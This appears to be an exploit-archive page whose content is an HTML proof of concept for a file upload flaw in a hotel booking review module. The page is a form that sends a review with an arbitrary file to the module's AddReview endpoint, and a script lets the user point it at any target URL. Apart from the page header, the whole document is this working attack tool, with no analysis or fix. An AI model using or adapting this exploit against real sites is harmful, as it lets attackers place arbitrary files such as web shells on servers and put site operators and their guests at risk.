4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.html HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Hotel Review File Upload PoC</title>
</head>
<body>

<h2>Hotel Review Upload</h2>

<!-- Target URL Input -->
<label><b>Target Upload URL:</b></label><br>
<input type="text" id="targetUrl" 
       value="http://localhost/module/qlohotelreview/default"
       style="width: 600px;"><br><br>

<form id="uploadForm" method="POST" enctype="multipart/form-data">
    <label>Order Id:</label><br>
    <input type="text" name="id_order" value="1">
    <input type="hidden" name="id_hotel" value="1">
    <input type="hidden" name="rating_overall" value="4.5">

    <!-- Empty category values -->
    <input type="hidden" name="rating_categories[1]" value="">
    <input type="hidden" name="rating_categories[2]" value="">
    <input type="hidden" name="subject" value="test file upload">
    <input type="hidden" name="description" value="test file upload">
    <input type="hidden" name="ajax" value="true"><br>
    <label>Token:</label><br>
    <input type="text" name="token" value=""><br><br>
    <input type="hidden" name="action" value="AddReview">

    <label>Upload File (images[]):</label><br>
    <input type="file" name="images[]" required><br><br>

    <button type="submit">Upload</button>
</form>

<script>
    document.getElementById('uploadForm').addEventListener('submit', function () {
        const target = document.getElementById('targetUrl').value;
        this.action = target;
    });
</script>

</body>
</html>